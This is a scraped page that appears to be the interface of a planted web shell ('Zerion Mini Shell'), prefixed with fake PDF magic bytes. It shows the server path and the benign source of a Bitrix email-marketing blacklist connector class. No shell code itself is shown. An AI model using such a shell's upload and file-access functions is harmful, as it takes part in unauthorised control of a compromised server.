%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/bitrix/www/bitrix/modules/sender/lib/integration/sender/connectors/
Upload File :
Create Path :
Current File : /home/bitrix/www/bitrix/modules/sender/lib/integration/sender/connectors/blacklist.php

<?php
/**
 * Bitrix Framework
 * @package bitrix
 * @subpackage sender
 * @copyright 2001-2012 Bitrix
 */

namespace Bitrix\Sender\Integration\Sender\Connectors;

use Bitrix\Sender\Connector\Base as ConnectorBase;
use Bitrix\Sender\MailingSubscriptionTable;

class BlackList extends ConnectorBase
{
	/**
	 * @return string
	 */
	public function getName()
	{
		return 'Email-marketing - Black list';
	}

	/**
	 * @return string
	 */
	public function getCode()
	{
		return "sender_black_list";
	}

	/**
	 * @return \Bitrix\Main\DB\Result
	 */
	public function getData()
	{
		$mailingId = $this->getFieldValue('MAILING_ID', 0);

		return MailingSubscriptionTable::getSubscriptionList(array(
			'select' => array(
				'SENDER_CONTACT_ID' => 'CONTACT.ID',
				'NAME' => 'CONTACT.NAME',
				'EMAIL' => 'CONTACT.CODE',
				'USER_ID' => 'CONTACT.USER_ID'
			),
			'filter' => array(
				'MAILING_ID' => $mailingId,
			)
		));
	}

	/**
	 * @return string
	 */
	public function getForm()
	{
		return '';
	}
}

Zerion Mini Shell 1.0